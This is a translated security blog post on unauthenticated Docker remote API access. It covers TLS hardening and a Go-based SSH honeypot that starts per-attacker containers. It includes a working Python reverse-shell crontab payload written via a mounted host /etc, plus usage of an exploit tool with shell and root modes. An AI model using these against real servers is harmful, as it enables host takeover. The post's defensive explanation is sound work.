IMCAFS

Home

application of docker remote api in security

Posted by tetley at 2020-04-12
all

The Department routinely shares its contribution to the official account every Wednesday.

Summary

As we all know, docker daemon listens on UNIX socket by default, such as UNIX: / / / var / run / docker.socket. The official also provides a rustful API interface to allow remote access to docker through TCP. For example, executing the following startup parameters can let docker listen on port 2375 of all local addresses:

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock

After that, you can use the docker client or any HTTP client to access remotely:

$ curl http://10.10.10.10:2375/containers/json [] docker -H=tcp://10.10.10.10:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

However, it is very dangerous to open the docker remote API service without any access control, and the attacker can easily take the permissions of the whole server after discovery.

Attack method

The attack principle of docker remote API unauthorized access is similar to the previous redis unauthorized access vulnerability, which is to get the server permission by writing files to the server running the application. The common utilization methods are as follows:

Start a container, mount the / etc / directory of the host, and then write the rebound shell script to / etc / crontab. The attacker will get a rebound shell. The example of the rebound shell script is as follows:

echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

The second method can also mount the var / spool / cron / directory and write the rebound shell script to / var / spool / cron / root (CentOS system) or / var / spool / cron / crontabs / root (Ubuntu system)

There are many manual utilization methods on the Internet, not to mention much. The author directly gives a go language version of the automatic utilization tool. The address of GitHub is: https://github.com/netxfly/docker-remote-api-exp. the usage methods are as follows:

$ ./remote_api_exp Usage of ./remote_api_exp: -pubkey string id_rsa.pub file (default "/root/.ssh/id_rsa.pub") -reverse string reverse address, 6.6.6.6:8888 -target string target ip, 1.1.1.1:2375 -type string Type, such as check, root, shell (default "check") -version string Docker version: --------------------------- Docker version API Version --------------------------- 1.12.x 1.24 1.11.x 1.23 1.10.x 1.22 1.9.x 1.21 1.8.x 1.20 1.7.x 1.19 1.6.x 1.18 (default "1.12")

Parameter Description:

Use example:

Log in as root

Get a bounce shell

Maybe some operation and maintenance students think that this is because monitoring is on the external network, so attackers have a chance to attack. If I don't monitor on the external network, there will be no security risks. In fact, monitoring on the internal network also has the following security risks:

Safety reinforcement

Do not enable the remote API service of docker when it is not necessary. If it is necessary, the following reinforcement methods can be adopted:

After the certificate that the client communicates with the server is generated, you can start the docker daemon with the following command:

docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock

The following environment variables need to be set when the client connects

export DOCKER_TLS_VERIFY=1 export DOCKER_CERT_PATH=~/.docker export DOCKER_HOST=tcp://10.10.10.10:2375 export DOCKER_API_VERSION=1.12

Safety construction

Above we review the security risks and utilization methods of unauthorized access authentication of docker remote API. Next, we switch to the perspective of security construction and build an automatic elastic SSH honeypot system with docker remote API.

Now many security practitioners use docker as the sandbox of honeypot, but there is a common problem: all attackers are connected to the same sandbox, which is placed on the Internet. There are often multiple attackers who may enter in the same period of time. They may see each other's behavior to see through the honeypot or analyze the log separately Interference.

Our vision is for all attackers to have access to independent sandboxes. When you come, you will automatically open a new sandbox for you, and then silently record your operation behavior. After a while, you will automatically destroy the sandbox and reserve resources to receive other coming hackers.

Architecture specification

This system consists of agent and docker server. Docker server needs to open docker remote API service.

The agent can be deployed on multiple different nodes. By detecting the local SSH log, it can determine whether there is cracking behavior. If there is password cracking behavior more than three times, it will start a new container in the docker server through the remote API interface, and then transfer the attacker's traffic to the container.

The effect of agent operation is as follows:

Then you can see the newly created SSH honeypot sandbox through the PS command on the docker server, as follows:

Concrete realization

The system is implemented by go language, which can be compiled into independent binary files. When deployed, the binary files can be uploaded to the corresponding server to run.

The configuration file will be loaded when the program starts, and the configuration file options are as shown in the following figure:

Configuration parameter description:

The code processed by the configuration file is as follows:

Cache is a map [string] * cache.cache, which maintains the state of each container, such as the attacker's IP, the number of attackers, timeout and other information.

The main program code is as follows:

package main import ( "xsec-ssh-honeypot/settings" "xsec-ssh-honeypot/util" ) func main() { go util.MonitorLog(settings.SshLog) util.Schedule(30) }

The code of monitorlog is as follows:

If a new SSH log comes in, it will be handed to the checkssh (logcontent * tail. Line) function for processing. The code for processing the checkssh (logcontent * tail. Line) configuration file is as follows:

The program will maintain the source IP, attack times and timeout of each attacker in settings.cache in the global variable. If the attack times are more than 3, a new container will be opened for the attacker, and the attacker's traffic will be directly transferred from the agent to the newly opened SSH honeypot in the back end.

The attacker's traffic transfer to the back-end password is implemented through iptables. Some codes are as follows: